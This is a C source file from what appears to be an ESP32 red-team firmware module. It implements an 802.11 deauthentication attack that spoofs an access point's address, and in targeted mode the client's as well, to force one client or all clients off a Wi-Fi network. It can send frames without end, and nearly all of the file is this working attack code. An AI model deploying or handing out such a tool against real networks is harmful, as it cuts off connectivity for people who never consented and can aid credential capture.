/* * rt_deauth.c * 802.11 deauthentication frame injection via esp_wifi_80211_tx(). * * Sends deauth frames to disconnect clients from an AP. * Supports targeted (single client) and broadcast (all clients) modes. * * Uses rt_promisc for promiscuous mode management and rt_attack for * mutual exclusion with other offensive operations. */ #include "sdkconfig.h" #ifdef CONFIG_MODULE_REDTEAM #include #include #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "esp_wifi.h" #include "esp_log.h" #include "rt_deauth.h" #include "rt_promisc.h" #include "rt_attack.h" #define TAG "RT_DEAUTH" /* ============================================================ * 802.11 Deauth frame (26 bytes) * ============================================================ * * Frame Control: 0x00C0 (type=0 mgmt, subtype=0xC deauth) * Duration: 0x0000 * Addr1: Destination (client or FF:FF:FF:FF:FF:FF) * Addr2: Source (BSSID — we impersonate the AP) * Addr3: BSSID * Seq Control: 0x0000 (auto-filled by driver if en_sys_seq=true) * Reason Code: 0x0007 (Class 3 frame from nonassociated STA) */ typedef struct __attribute__((packed)) { uint16_t frame_ctrl; uint16_t duration; uint8_t addr1[6]; /* receiver */ uint8_t addr2[6]; /* transmitter (spoofed AP) */ uint8_t addr3[6]; /* BSSID */ uint16_t seq_ctrl; uint16_t reason; } deauth_frame_t; _Static_assert(sizeof(deauth_frame_t) == 26, "deauth frame must be 26 bytes"); static const uint8_t BROADCAST_MAC[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; /* Task state */ static TaskHandle_t s_task = NULL; static atomic_bool s_active = ATOMIC_VAR_INIT(false); /* Parameters passed to the task */ typedef struct { uint8_t bssid[6]; uint8_t client[6]; bool broadcast; uint8_t channel; uint32_t count; uint32_t delay_ms; } deauth_params_t; static deauth_params_t s_params; /* ============================================================ * Deauth task — runs on Core 1 * ============================================================ */ static void deauth_task(void *arg) { deauth_params_t *p = (deauth_params_t *)arg; /* Switch to target channel via the shared dispatcher */ if (p->channel > 0 && p->channel <= 13) { rt_promisc_enable(); rt_promisc_set_channel(p->channel); } /* Build the deauth frame */ deauth_frame_t frame; memset(&frame, 0, sizeof(frame)); frame.frame_ctrl = 0x00C0; /* deauth */ frame.reason = 0x0007; /* Class 3 frame from nonassociated STA */ /* Addr2/Addr3 = BSSID (we pretend to be the AP) */ memcpy(frame.addr2, p->bssid, 6); memcpy(frame.addr3, p->bssid, 6); /* Addr1 = target client or broadcast */ if (p->broadcast) { memcpy(frame.addr1, BROADCAST_MAC, 6); } else { memcpy(frame.addr1, p->client, 6); } uint32_t delay = p->delay_ms ? p->delay_ms : 10; uint32_t sent = 0; bool continuous = (p->count == 0); ESP_LOGI(TAG, "Deauth started: bssid=%02X:%02X:%02X:%02X:%02X:%02X " "target=%s ch=%d count=%s delay=%"PRIu32"ms", p->bssid[0], p->bssid[1], p->bssid[2], p->bssid[3], p->bssid[4], p->bssid[5], p->broadcast ? "broadcast" : "targeted", p->channel, continuous ? "infinite" : "finite", delay); while (atomic_load(&s_active)) { /* Send deauth from AP to client */ esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false); /* Also send deauth from client to AP (bidirectional) */ if (!p->broadcast) { deauth_frame_t rev; memcpy(&rev, &frame, sizeof(rev)); memcpy(rev.addr1, p->bssid, 6); /* receiver = AP */ memcpy(rev.addr2, p->client, 6); /* transmitter = client */ /* addr3 stays = BSSID */ esp_wifi_80211_tx(WIFI_IF_STA, &rev, sizeof(rev), false); } sent++; if (!continuous && sent >= p->count) { break; } vTaskDelay(pdMS_TO_TICKS(delay)); } ESP_LOGI(TAG, "Deauth stopped: %"PRIu32" frames sent", sent * (p->broadcast ? 1 : 2)); rt_promisc_disable(); rt_attack_stop(); atomic_store(&s_active, false); s_task = NULL; vTaskDelete(NULL); } /* ============================================================ * Public API * ============================================================ */ void rt_deauth_start(const uint8_t bssid[6], const uint8_t *client, uint8_t channel, uint32_t count, uint32_t delay_ms) { if (atomic_load(&s_active)) { rt_deauth_stop(); vTaskDelay(pdMS_TO_TICKS(100)); } /* Acquire the attack lock */ if (rt_attack_start(RT_ATTACK_DEAUTH) != ESP_OK) { ESP_LOGW(TAG, "Cannot start deauth: another attack is running (%s)", rt_attack_name()); return; } memcpy(s_params.bssid, bssid, 6); if (client == NULL || memcmp(client, BROADCAST_MAC, 6) == 0) { memcpy(s_params.client, BROADCAST_MAC, 6); s_params.broadcast = true; } else { memcpy(s_params.client, client, 6); s_params.broadcast = false; } s_params.channel = channel; s_params.count = count; s_params.delay_ms = delay_ms; atomic_store(&s_active, true); xTaskCreatePinnedToCore( deauth_task, "rt_deauth", 4096, &s_params, 6, &s_task, 1 /* Core 1 */ ); } void rt_deauth_stop(void) { atomic_store(&s_active, false); /* Task will self-delete and release the attack lock */ } bool rt_deauth_is_active(void) { return atomic_load(&s_active); } #endif /* CONFIG_MODULE_REDTEAM */